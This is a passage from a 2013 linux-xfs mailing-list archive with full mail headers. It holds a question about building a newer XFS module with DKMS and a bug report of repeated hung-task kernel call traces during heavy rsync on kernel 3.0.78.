kkeller@wombat.san-francisco.ca.us >=20 >=20 > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs >=20 From sgi-linux-xfs@m.gmane.org Mon Jul 29 00:00:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BE2B27CBF for ; Mon, 29 Jul 2013 00:00:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 92448304032 for ; Sun, 28 Jul 2013 22:00:42 -0700 (PDT) X-ASG-Debug-ID: 1375074039-04bdf02f221b5830001-w1Z2WR Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) by cuda.sgi.com with ESMTP id LLJ1zxoeab8AmYXl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 28 Jul 2013 22:00:40 -0700 (PDT) X-Barracuda-Envelope-From: sgi-linux-xfs@m.gmane.org X-Barracuda-Apparent-Source-IP: 80.91.229.3 Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1V3fZX-0003g8-7h for linux-xfs@oss.sgi.com; Mon, 29 Jul 2013 07:00:39 +0200 Received: from wombat.san-francisco.ca.us ([75.101.60.140]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 29 Jul 2013 07:00:39 +0200 Received: from kkeller by wombat.san-francisco.ca.us with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 29 Jul 2013 07:00:39 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: linux-xfs@oss.sgi.com From: Keith Keller Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) Date: Sun, 28 Jul 2013 21:57:38 -0700 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Lines: 32 Message-ID: <2b9hcaxru.ln2@goaway.wombat.san-francisco.ca.us> References: <20130729000247.GA13468@dastard> <32553786.2492.1375056392388.JavaMail.root@benjamin.baylink.com> <20130729024105.GC13468@dastard> <2m4hcax0nv.ln2@goaway.wombat.san-francisco.ca.us> <109D380F-F26C-4DA1-87DC-27466198AE22@sandeen.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: wombat.san-francisco.ca.us User-Agent: slrn/0.9.9p1 (Linux) X-Barracuda-Connect: plane.gmane.org[80.91.229.3] X-Barracuda-Start-Time: 1375074040 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137394 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2013-07-29, Eric Sandeen wrote: > > In general, no. There are a lot of moving parts that interface with the filesystem - one does not simply drop fs/xfs from, say, kernel 3.2 into a 2.6.32 kernel. I apologize for the confusion, this was not what I was implying was possible. Let me try to be more explicit. Unfortunately, I no longer have a history of what I did, because I ultimately abandoned it, so my example will be hypothetical. The current stable kernel is 3.10.4. Let's suppose that 3.10.5 comes out tomorrow with some interesting patches to fs/xfs. Is it possible using dkms to build the 3.10.5 version of the xfs module for a running 3.10.4 kernel? And if so, is there a way for the module to report its own version? There should (in theory) be much less wizardry involved in this scenario than in the difficult scenario of porting 3.10's xfs back to 2.6, and is more along the lines of what I remember doing a short time back). (To be specific, IIRC what I did was took a proposed patch against my running kernel version, which had not yet been incorporated in the distro kernel, and tested it by replacing the distro kernel's module with one I built via DKMS. But as I mentioned, I have no docs on this, so I could be misremembering the process.) I am not intentionally trying to be difficult. :) I am genuinely just curious about the answer. If it's "no" (or perhaps, in this specific scenario, it's "use the dkms tools"), it still provides me with valuable information I did not previously have. --keith -- kkeller@wombat.san-francisco.ca.us From s.priebe@profihost.ag Mon Jul 29 02:39:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CE4D07F4E for ; Mon, 29 Jul 2013 02:39:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 80551304032 for ; Mon, 29 Jul 2013 00:39:46 -0700 (PDT) X-ASG-Debug-ID: 1375083578-04bdf02f221be510001-NocioJ Received: from mail-ph.de-nserver.de (mail-ph.de-nserver.de [85.158.179.214]) by cuda.sgi.com with ESMTP id SHMIHMqLoXHUOIKk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 00:39:40 -0700 (PDT) X-Barracuda-Envelope-From: s.priebe@profihost.ag X-Barracuda-Apparent-Source-IP: 85.158.179.214 Received: (qmail 23673 invoked from network); 29 Jul 2013 09:39:38 +0200 X-Fcrdns: No Received: from fw-office.allied-internet.ag (HELO [192.168.1.148]) (85.158.179.66) (smtp-auth username hostmaster@profihost.com, mechanism plain) by mail-ph.de-nserver.de (qpsmtpd/0.92) with (AES256-SHA encrypted) ESMTPSA; Mon, 29 Jul 2013 09:39:38 +0200 Message-ID: <51F61C39.6050200@profihost.ag> Date: Mon, 29 Jul 2013 09:39:37 +0200 From: Stefan Priebe - Profihost AG User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130623 Thunderbird/17.0.7 MIME-Version: 1.0 To: "xfs@oss.sgi.com" CC: "xfs-masters@oss.sgi.com" Subject: Vanilla 3.0.78 X-Enigmail-Version: 1.4.6 X-ASG-Orig-Subj: Vanilla 3.0.78 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit X-User-Auth: Auth by hostmaster@profihost.com through 85.158.179.66 X-Barracuda-Connect: mail-ph.de-nserver.de[85.158.179.214] X-Barracuda-Start-Time: 1375083579 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, while running 3.0.78 and doing heavy rsync tasks on a raid 50 i'm gettig these call traces: [396113.710927] INFO: task rsync:25944 blocked for more than 120 seconds. [396113.760608] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [396113.811356] rsync D ffff88042eb70560 0 25944 25943 0x00000000 [396113.861996] ffff88000ef4b218 0000000000000082 ffff88000ef4b1f8 0000000000000000 [396113.912069] 0000000000010800 ffff88000ef4bfd8 ffff88000ef4a010 0000000000010800 [396113.962197] ffff88000ef4bfd8 0000000000010800 ffffffff81a0b020 ffff88042eb70000 [396114.013067] Call Trace: [396114.063597] [] schedule+0x3a/0x60 [396114.114651] [] schedule_timeout+0x1d5/0x2b0 [396114.165719] [] ? xfs_btree_log_keys+0x50/0x90 [396114.216982] [] ? down_trylock+0x32/0x50 [396114.268645] [] __down+0x69/0xb0 [396114.320322] [] ? _xfs_buf_find+0xf6/0x270 [396114.371695] [] down+0x3c/0x50 [396114.422894] [] xfs_buf_lock+0x40/0xe0 [396114.474072] [] _xfs_buf_find+0xf6/0x270 [396114.524772] [] xfs_buf_get+0x59/0x190 [396114.575620] [] xfs_buf_read+0x27/0x100 [396114.625803] [] xfs_trans_read_buf+0x1e8/0x410 [396114.676022] [] xfs_read_agf+0x61/0x1a0 [396114.725920] [] xfs_alloc_read_agf+0x34/0xd0 [396114.776482] [] xfs_alloc_fix_freelist+0x401/0x470 [396114.826416] [] ? xfs_bmap_search_multi_extents+0xa5/0x110 [396114.876304] [] ? xfs_perag_get+0x33/0xb0 [396114.924793] [] ? xfs_alloc_vextent+0x1d3/0x580 [396114.972421] [] xfs_alloc_vextent+0x16b/0x580 [396115.019255] [] xfs_bmap_btalloc+0x257/0x6e0 [396115.065919] [] xfs_bmap_alloc+0x9/0x10 [396115.112754] [] xfs_bmapi+0x99e/0x1090 [396115.158908] [] ? xfs_bmap_search_multi_extents+0xa5/0x110 [396115.204162] [] ? kmem_zone_alloc+0x77/0xf0 [396115.247605] [] xfs_iomap_write_allocate+0x176/0x330 [396115.291805] [] xfs_map_blocks+0x1d1/0x260 [396115.335010] [] xfs_vm_writepage+0x1c2/0x500 [396115.378068] [] __writepage+0x12/0x40 [396115.420772] [] write_cache_pages+0x239/0x4d0 [396115.466613] [] ? set_page_dirty+0x70/0x70 [396115.512538] [] generic_writepages+0x4c/0x70 [396115.555134] [] xfs_vm_writepages+0x4f/0x60 [396115.597647] [] do_writepages+0x1c/0x40 [396115.640635] [] __filemap_fdatawrite_range+0x5b/0x60 [396115.682990] [] filemap_fdatawrite_range+0xe/0x10 [396115.724450] [] xfs_flush_pages+0x67/0xb0 [396115.765531] [] xfs_setattr+0x9da/0xa80 [396115.806444] [] xfs_vn_setattr+0x16/0x20 [396115.846806] [] notify_change+0x11d/0x300 [396115.887020] [] do_truncate+0x5c/0x90 [396115.926632] [] sys_ftruncate+0xc7/0xd0 [396115.965535] [] system_call_fastpath+0x16/0x1b [396116.003705] INFO: task rsync:16891 blocked for more than 120 seconds. [396116.041978] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [396116.080957] rsync D ffff880044d9b5a0 0 16891 16890 0x00000000 [396116.120493] ffff88062b129b68 0000000000000086 0000000000000000 ffff880400000001 [396116.160730] 0000000000010800 ffff88062b129fd8 ffff88062b128010 0000000000010800 [396116.200394] ffff88062b129fd8 0000000000010800 ffffffff81a0b020 ffff880044d9b040 [396116.240183] Call Trace: [396116.279644] [] ? kmem_cache_free+0x1b/0xf0 [396116.320904] [] schedule+0x3a/0x60 [396116.360893] [] rwsem_down_failed_common+0xbd/0x150 [396116.401765] [] rwsem_down_write_failed+0x13/0x20 [396116.442829] [] call_rwsem_down_write_failed+0x13/0x20 [396116.483521] [] ? down_write+0x20/0x30 [396116.524244] [] xfs_ilock+0x7e/0xd0 [396116.564991] [] xfs_file_aio_write_checks+0x47/0x150 [396116.606056] [] xfs_file_buffered_aio_write+0x6d/0x180 [396116.647785] [] xfs_file_aio_write+0x1a3/0x2b0 [396116.689301] [] do_sync_write+0xd2/0x110 [396116.730611] [] ? perf_event_task_sched_out+0x2e/0x90 [396116.772345] [] ? common_interrupt+0xe/0x13 [396116.814509] [] ? ktime_get_ts+0xa8/0xe0 [396116.855862] [] vfs_write+0xc8/0x190 [396116.896935] [] sys_write+0x4c/0x90 [396116.937889] [] system_call_fastpath+0x16/0x1b [412651.656492] INFO: task flush-8:16:5619 blocked for more than 120 seconds. [412651.698333] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [412651.741269] flush-8:16 D ffff88042e6635a0 0 5619 2 0x00000000 [412651.785328] ffff88042da27120 0000000000000046 ffff88042e3c86a8 0000000000000024 [412651.829433] 0000000000010800 ffff88042da27fd8 ffff88042da26010 0000000000010800 [412651.873521] ffff88042da27fd8 0000000000010800 ffff88042f89c860 ffff88042e663040 [412651.917893] Call Trace: [412651.961539] [] schedule+0x3a/0x60 [412652.005977] [] schedule_timeout+0x1d5/0x2b0 [412652.050757] [] ? xfs_trans_log_buf+0x90/0xd0 [412652.095552] [] ? xfs_btree_log_keys+0x50/0x90 [412652.139883] [] __down+0x69/0xb0 [412652.184525] [] ? _xfs_buf_find+0xf6/0x270 [412652.228969] [] down+0x3c/0x50 [412652.273330] [] xfs_buf_lock+0x40/0xe0 [412652.317308] [] _xfs_buf_find+0xf6/0x270 [412652.361185] [] xfs_buf_get+0x59/0x190 [412652.404909] [] xfs_buf_read+0x27/0x100 [412652.448291] [] xfs_trans_read_buf+0x1e8/0x410 [412652.492152] [] xfs_read_agf+0x61/0x1a0 [412652.535849] [] xfs_alloc_read_agf+0x34/0xd0 [412652.579896] [] xfs_alloc_fix_freelist+0x401/0x470 [412652.624049] [] ? cpumask_next_and+0x29/0x50 [412652.667864] [] ? alloc_pages_current+0x7e/0xe0 [412652.711426] [] ? xfs_perag_get+0x33/0xb0 [412652.754460] [] ? xfs_alloc_vextent+0x1d3/0x580 [412652.796510] [] xfs_alloc_vextent+0x16b/0x580 [412652.838066] [] xfs_bmap_btalloc+0x257/0x6e0 [412652.879153] [] ? xfs_iext_get_ext+0x33/0x80 [412652.920043] [] xfs_bmap_alloc+0x9/0x10 [412652.960023] [] xfs_bmapi+0x99e/0x1090 [412652.999673] [] ? xfs_bmap_search_multi_extents+0xa5/0x110 [412653.039712] [] ? xfs_iext_get_ext+0x33/0x80 [412653.079928] [] xfs_iomap_write_allocate+0x176/0x330 [412653.120173] [] xfs_map_blocks+0x1d1/0x260 [412653.160213] [] xfs_vm_writepage+0x1c2/0x500 [412653.202678] [] __writepage+0x12/0x40 [412653.245561] [] write_cache_pages+0x239/0x4d0 [412653.285796] [] ? set_page_dirty+0x70/0x70 [412653.325281] [] generic_writepages+0x4c/0x70 [412653.364922] [] xfs_vm_writepages+0x4f/0x60 [412653.404711] [] do_writepages+0x1c/0x40 [412653.443941] [] writeback_single_inode+0xf4/0x260 [412653.483453] [] writeback_sb_inodes+0xe5/0x1b0 [412653.523014] [] writeback_inodes_wb+0x99/0x160 [412653.561999] [] wb_writeback+0x2f3/0x450 [412653.601805] [] ? common_interrupt+0xe/0x13 [412653.641066] [] wb_do_writeback+0x21f/0x270 [412653.679713] [] bdi_writeback_thread+0x9a/0x230 [412653.717842] [] ? wb_do_writeback+0x270/0x270 [412653.755257] [] ? wb_do_writeback+0x270/0x270 [412653.791866] [] kthread+0x96/0xa0 [412653.827748] [] kernel_thread_helper+0x4/0x10 [412653.863566] [] ? kthread_worker_fn+0x130/0x130 [412653.898946] [] ? gs_change+0xb/0xb [412653.934129] INFO: task rsync:16475 blocked for more than 120 seconds. [412653.969849] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [412654.006947] rsync D ffff88042e660560 0 16475 16474 0x00000000 [412654.044772] ffff880487331218 0000000000000082 ffff88042e3c86a8 0000000000000003 [412654.083421] 0000000000010800 ffff880487331fd8 ffff880487330010 0000000000010800 [412654.122261] ffff880487331fd8 0000000000010800 ffff8801fefcc860 ffff88042e660000 [412654.161041] Call Trace: [412654.199520] [] schedule+0x3a/0x60 [412654.238551] [] schedule_timeout+0x1d5/0x2b0 [412654.277727] [] ? xfs_btree_log_keys+0x50/0x90 [412654.319874] [] ? down_trylock+0x32/0x50 [412654.361564] [] __down+0x69/0xb0 [412654.400663] [] ? _xfs_buf_find+0xf6/0x270 [412654.440047] [] down+0x3c/0x50 [412654.479105] [] xfs_buf_lock+0x40/0xe0 [412654.518100] [] _xfs_buf_find+0xf6/0x270 [412654.557207] [] xfs_buf_get+0x59/0x190 [412654.596206] [] xfs_buf_read+0x27/0x100 [412654.634624] [] xfs_trans_read_buf+0x1e8/0x410 [412654.673479] [] xfs_read_agf+0x61/0x1a0 [412654.712002] [] xfs_alloc_read_agf+0x34/0xd0 [412654.750449] [] xfs_alloc_fix_freelist+0x401/0x470 [412654.789052] [] ? xfs_bmap_add_extent_delay_real+0x64f/0x1700 [412654.828682] [] ? xfs_perag_get+0x33/0xb0 [412654.867729] [] ? xfs_alloc_vextent+0x1d3/0x580 [412654.906586] [] xfs_alloc_vextent+0x16b/0x580 [412654.945568] [] xfs_bmap_btalloc+0x257/0x6e0 [412654.984313] [] xfs_bmap_alloc+0x9/0x10 [412655.023299] [] xfs_bmapi+0x99e/0x1090 [412655.061549] [] ? xfs_bmap_search_multi_extents+0xa5/0x110 [412655.101113] [] xfs_iomap_write_allocate+0x176/0x330 [412655.140458] [] xfs_map_blocks+0x1d1/0x260 [412655.179687] [] xfs_vm_writepage+0x1c2/0x500 [412655.219207] [] __writepage+0x12/0x40 [412655.258002] [] write_cache_pages+0x239/0x4d0 [412655.296797] [] ? set_page_dirty+0x70/0x70 [412655.336008] [] generic_writepages+0x4c/0x70 [412655.375370] [] xfs_vm_writepages+0x4f/0x60 [412655.414534] [] do_writepages+0x1c/0x40 [412655.454009] [] __filemap_fdatawrite_range+0x5b/0x60 [412655.493627] [] filemap_fdatawrite_range+0xe/0x10 [412655.533156] [] xfs_flush_pages+0x67/0xb0 [412655.572856] [] xfs_setattr+0x9da/0xa80 [412655.613257] [] xfs_vn_setattr+0x16/0x20 [412655.653033] [] notify_change+0x11d/0x300 [412655.692725] [] do_truncate+0x5c/0x90 [412655.731966] [] sys_ftruncate+0xc7/0xd0 [412655.771199] [] system_call_fastpath+0x16/0x1b [412655.810243] INFO: task rsync:30660 blocked for more than 120 seconds. [412655.848982] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [412655.888250] rsync D ffff88042d871d80 0 30660 30659 0x00000000 [412655.927393] ffff880415137218 0000000000000086 ffff8804151371a8 ffffffff81078be2 [412655.967391] 0000000000010800 ffff880415137fd8 ffff880415136010 0000000000010800 [412656.007316] ffff880415137fd8 0000000000010800 ffffffff81a0b020 ffff88042d871820 [412656.046983] Call Trace: [412656.085817] [] ? down_trylock+0x32/0x50 [412656.126302] [] schedule+0x3a/0x60 [412656.166035] [] schedule_timeout+0x1d5/0x2b0 [412656.206776] [] ? kmem_zone_zalloc+0x35/0x50 [412656.250152] [] ? xfs_trans_log_buf+0x90/0xd0 [412656.291970] [] __down+0x69/0xb0 [412656.331764] [] ? _xfs_buf_find+0xf6/0x270 [412656.371898] [] down+0x3c/0x50 [412656.411888] [] xfs_buf_lock+0x40/0xe0 [412656.452059] [] _xfs_buf_find+0xf6/0x270 [412656.492297] [] xfs_buf_get+0x59/0x190 [412656.532531] [] xfs_buf_read+0x27/0x100 [412656.572399] [] xfs_trans_read_buf+0x1e8/0x410 [412656.612389] [] xfs_read_agf+0x61/0x1a0 [412656.652851] [] xfs_alloc_read_agf+0x34/0xd0 [412656.692462] [] xfs_alloc_fix_freelist+0x401/0x470 [412656.731749] [] ? xfs_bmap_search_multi_extents+0xa5/0x110 [412656.771739] [] ? xfs_perag_get+0x33/0xb0 [412656.811371] [] ? xfs_alloc_vextent+0x1d3/0x580 [412656.850939] [] xfs_alloc_vextent+0x16b/0x580 [412656.890922] [] xfs_bmap_btalloc+0x257/0x6e0 [412656.930893] [] xfs_bmap_alloc+0x9/0x10 [412656.970295] [] xfs_bmapi+0x99e/0x1090 [412657.009689] [] ? xfs_bmap_search_multi_extents+0xa5/0x110 [412657.049157] [] ? kmem_zone_alloc+0x77/0xf0 [412657.088642] [] xfs_iomap_write_allocate+0x176/0x330 [412657.128997] [] xfs_map_blocks+0x1d1/0x260 [412657.169076] [] xfs_vm_writepage+0x1c2/0x500 [412657.209303] [] __writepage+0x12/0x40 [412657.249098] [] write_cache_pages+0x239/0x4d0 [412657.288823] [] ? set_page_dirty+0x70/0x70 [412657.328563] [] generic_writepages+0x4c/0x70 [412657.368193] [] xfs_vm_writepages+0x4f/0x60 [412657.407870] [] do_writepages+0x1c/0x40 [412657.447095] [] __filemap_fdatawrite_range+0x5b/0x60 [412657.487191] [] filemap_fdatawrite_range+0xe/0x10 [412657.527229] [] xfs_flush_pages+0x67/0xb0 [412657.567153] [] xfs_setattr+0x9da/0xa80 [412657.607216] [] xfs_vn_setattr+0x16/0x20 [412657.647641] [] notify_change+0x11d/0x300 [412657.687480] [] do_truncate+0x5c/0x90 [412657.726860] [] sys_ftruncate+0xc7/0xd0 [412657.765326] [] system_call_fastpath+0x16/0x1b [412657.803043] INFO: task rsync:16891 blocked for more than 120 seconds. [412657.840819] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [412657.879354] rsync D ffff880044d9b5a0 0 16891 16890 0x00000000 [412657.917922] ffff88062b129b68 0000000000000086 0000000000000000 ffff880200000001 [412657.956861] 0000000000010800 ffff88062b129fd8 ffff88062b128010 0000000000010800 [412657.996037] ffff88062b129fd8 0000000000010800 ffffffff81a0b020 ffff880044d9b040 [412658.035286] Call Trace: [412658.074171] [] schedule+0x3a/0x60 [412658.113709] [] rwsem_down_failed_common+0xbd/0x150 [412658.154355] [] rwsem_down_write_failed+0x13/0x20 [412658.194313] [] call_rwsem_down_write_failed+0x13/0x20 [412658.234820] [] ? down_write+0x20/0x30 [412658.275104] [] xfs_ilock+0x7e/0xd0 [412658.315310] [] xfs_file_aio_write_checks+0x47/0x150 [412658.355943] [] xfs_file_buffered_aio_write+0x6d/0x180 [412658.396638] [] xfs_file_aio_write+0x1a3/0x2b0 [412658.437447] [] do_sync_write+0xd2/0x110 [412658.478284] [] ? ktime_get_ts+0xa8/0xe0 [412658.519038] [] vfs_write+0xc8/0x190 [412658.559661] [] sys_write+0x4c/0x90 [412658.599950] [] system_call_fastpath+0x16/0x1b [412658.640329] INFO: task rsync:27527 blocked for more than 120 seconds. [412658.681340] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [412658.723153] rsync D ffff88042dde4dc0 0 27527 5627 0x00000000 [412658.765631] ffff88000c999808 0000000000000086 ffff88042dd4f2e8 ffffc90000000000 [412658.808827] 0000000000010800 ffff88000c999fd8 ffff88000c998010 0000000000010800 [412658.852414] ffff88000c999fd8 0000000000010800 ffff88042f991820 ffff88042dde4860 [412658.896628] Call Trace: [412658.939953] [] schedule+0x3a/0x60 [412658.984168] [] schedule_timeout+0x1d5/0x2b0 [412659.027943] [] ? down_trylock+0x32/0x50 [412659.071098] [] ? xfs_buf_cond_lock+0x2a/0xc0 [412659.114604] [] ? down_trylock+0x32/0x50 [412659.157907] [] __down+0x69/0xb0 [412659.201369] [] ? _xfs_buf_find+0xf6/0x270 [412659.246860] [] down+0x3c/0x50 [412659.293899] [] xfs_buf_lock+0x40/0xe0 [412659.337497] [] _xfs_buf_find+0xf6/0x270 [412659.380474] [] xfs_buf_get+0x59/0x190 [412659.423531] [] xfs_buf_read+0x27/0x100 [412659.466079] [] xfs_trans_read_buf+0x1e8/0x410 [412659.508637] [] xfs_read_agf+0x61/0x1a0 [412659.551046] [] xfs_alloc_read_agf+0x34/0xd0 [412659.593820] [] xfs_alloc_fix_freelist+0x401/0x470 [412659.636680] [] ? kmem_cache_free+0x1b/0xf0 [412659.679799] [] ? xfs_trans_free_item_desc+0x2e/0x30 [412659.723313] [] ? xfs_trans_free_items+0x87/0xb0 [412659.766472] [] ? xfs_perag_get+0x33/0xb0 [412659.808765] [] ? xfs_free_extent+0x97/0x120 [412659.850247] [] xfs_free_extent+0xa8/0x120 [412659.891039] [] ? kmem_zone_alloc+0x77/0xf0 [412659.931242] [] xfs_bmap_finish+0x15d/0x1a0 [412659.970975] [] xfs_itruncate_finish+0x15f/0x330 [412660.010652] [] xfs_inactive+0x313/0x470 [412660.049573] [] xfs_fs_evict_inode+0xba/0x100 [412660.087971] [] evict+0x7b/0x140 [412660.126324] [] iput_final+0xc8/0x180 [412660.164635] [] iput+0x33/0x40 [412660.202813] [] do_unlinkat+0x164/0x1c0 [412660.240689] [] ? mntput+0x18/0x30 [412660.278332] [] ? fput+0x1d/0x30 [412660.315609] [] ? filp_close+0x60/0x90 [412660.352846] [] sys_unlink+0x11/0x20 [412660.389835] [] system_call_fastpath+0x16/0x1b [417932.351148] INFO: task flush-8:16:5619 blocked for more than 120 seconds. [417932.389328] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [417932.428412] flush-8:16 D ffff88042e6635a0 0 5619 2 0x00000000 [417932.468679] ffff88042da27120 0000000000000046 ffff88042e3c86a8 000000000000001e [417932.509997] 0000000000010800 ffff88042da27fd8 ffff88042da26010 0000000000010800 [417932.550591] ffff88042da27fd8 0000000000010800 ffff8801fefcc860 ffff88042e663040 [417932.590999] Call Trace: [417932.629814] [] schedule+0x3a/0x60 [417932.668838] [] schedule_timeout+0x1d5/0x2b0 [417932.707796] [] ? xfs_btree_del_cursor+0x63/0x70 [417932.746792] [] ? down_trylock+0x32/0x50 [417932.784584] [] __down+0x69/0xb0 [417932.822045] [] ? _xfs_buf_find+0xf6/0x270 [417932.860343] [] down+0x3c/0x50 [417932.897945] [] xfs_buf_lock+0x40/0xe0 [417932.935951] [] _xfs_buf_find+0xf6/0x270 [417932.973550] [] xfs_buf_get+0x59/0x190 [417933.011390] [] xfs_buf_read+0x27/0x100 [417933.048936] [] xfs_trans_read_buf+0x1e8/0x410 [417933.086642] [] xfs_read_agf+0x61/0x1a0 [417933.124124] [] xfs_alloc_read_agf+0x34/0xd0 [417933.161818] [] xfs_alloc_fix_freelist+0x401/0x470 [417933.199627] [] ? alloc_pages_current+0x7e/0xe0 [417933.237788] [] ? xfs_perag_get+0x33/0xb0 [417933.276072] [] ? xfs_alloc_vextent+0x1d3/0x580 [417933.314175] [] xfs_alloc_vextent+0x16b/0x580 [417933.352335] [] xfs_bmap_btalloc+0x257/0x6e0 [417933.390764] [] ? xfs_iext_get_ext+0x33/0x80 [417933.428967] [] xfs_bmap_alloc+0x9/0x10 [417933.466814] [] xfs_bmapi+0x99e/0x1090 [417933.504962] [] ? xfs_bmap_search_multi_extents+0xa5/0x110 [417933.543502] [] ? xfs_iext_get_ext+0x33/0x80 [417933.582007] [] xfs_iomap_write_allocate+0x176/0x330 [417933.620741] [] xfs_map_blocks+0x1d1/0x260 [417933.659551] [] xfs_vm_writepage+0x1c2/0x500 [417933.698203] [] __writepage+0x12/0x40 [417933.736676] [] write_cache_pages+0x239/0x4d0 [417933.775417] [] ? set_page_dirty+0x70/0x70 [417933.814118] [] generic_writepages+0x4c/0x70 [417933.852705] [] xfs_vm_writepages+0x4f/0x60 [417933.891799] [] do_writepages+0x1c/0x40 [417933.930897] [] writeback_single_inode+0xf4/0x260 [417933.970365] [] writeback_sb_inodes+0xe5/0x1b0 [417934.009561] [] writeback_inodes_wb+0x99/0x160 [417934.048630] [] wb_writeback+0x2f3/0x450 [417934.087944] [] ? common_interrupt+0xe/0x13 [417934.127261] [] wb_do_writeback+0x21f/0x270 [417934.166603] [] bdi_writeback_thread+0x9a/0x230 [417934.205473] [] ? wb_do_writeback+0x270/0x270 [417934.243674] [] ? wb_do_writeback+0x270/0x270 [417934.280260] [] kthread+0x96/0xa0 [417934.316477] [] kernel_thread_helper+0x4/0x10 [417934.352432] [] ? kthread_worker_fn+0x130/0x130 [417934.388926] [] ? gs_change+0xb/0xb [417934.424356] INFO: task rsync:16475 blocked for more than 120 seconds. [417934.459973] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [417934.497620] rsync D ffff88042e660560 0 16475 16474 0x00000000 [417934.538513] ffff880487331218 0000000000000082 ffff8804873311a8 ffffffff00000000 [417934.579249] 0000000000010800 ffff880487331fd8 ffff880487330010 0000000000010800 [417934.617923] ffff880487331fd8 0000000000010800 ffff88042fa1e080 ffff88042e660000 [417934.656752] Call Trace: [417934.695112] [] schedule+0x3a/0x60 [417934.734191] [] schedule_timeout+0x1d5/0x2b0 [417934.773444] [] ? kmem_zone_zalloc+0x35/0x50 [417934.812649] [] ? down_trylock+0x32/0x50 [417934.852084] [] __down+0x69/0xb0 [417934.891346] [] ? _xfs_buf_find+0xf6/0x270 [417934.931227] [] down+0x3c/0x50 [417934.970405] [] xfs_buf_lock+0x40/0xe0 [417935.009641] [] _xfs_buf_find+0xf6/0x270 [417935.048842] [] xfs_buf_get+0x59/0x190 [417935.087990] [] xfs_buf_read+0x27/0x100 [417935.126664] [] xfs_trans_read_buf+0x1e8/0x410 [417935.165700] [] xfs_read_agf+0x61/0x1a0 [417935.204566] [] xfs_alloc_read_agf+0x34/0xd0 [417935.243406] [] xfs_alloc_fix_freelist+0x401/0x470 [417935.282639] [] ? xfs_bmap_search_multi_extents+0xa5/0x110 [417935.322257] [] ? xfs_perag_get+0x33/0xb0 [417935.361292] [] ? xfs_alloc_vextent+0x1d3/0x580 [417935.400613] [] xfs_alloc_vextent+0x16b/0x580 [417935.439495] [] xfs_bmap_btalloc+0x257/0x6e0 [417935.478274] [] xfs_bmap_alloc+0x9/0x10 [417935.517264] [] xfs_bmapi+0x99e/0x1090 [417935.555550] [] ? xfs_bmap_search_multi_extents+0xa5/0x110 [417935.594479] [] ? kmem_zone_alloc+0x77/0xf0 [417935.633438] [] xfs_iomap_write_allocate+0x176/0x330 [417935.672722] [] xfs_map_blocks+0x1d1/0x260 [417935.712129] [] xfs_vm_writepage+0x1c2/0x500 [417935.751264] [] __writepage+0x12/0x40 [417935.789867] [] write_cache_pages+0x239/0x4d0 [417935.828959] [] ? set_page_dirty+0x70/0x70 [417935.868322] [] ? generic_getxattr+0x88/0x90 [417935.907789] [] generic_writepages+0x4c/0x70 [417935.947262] [] xfs_vm_writepages+0x4f/0x60 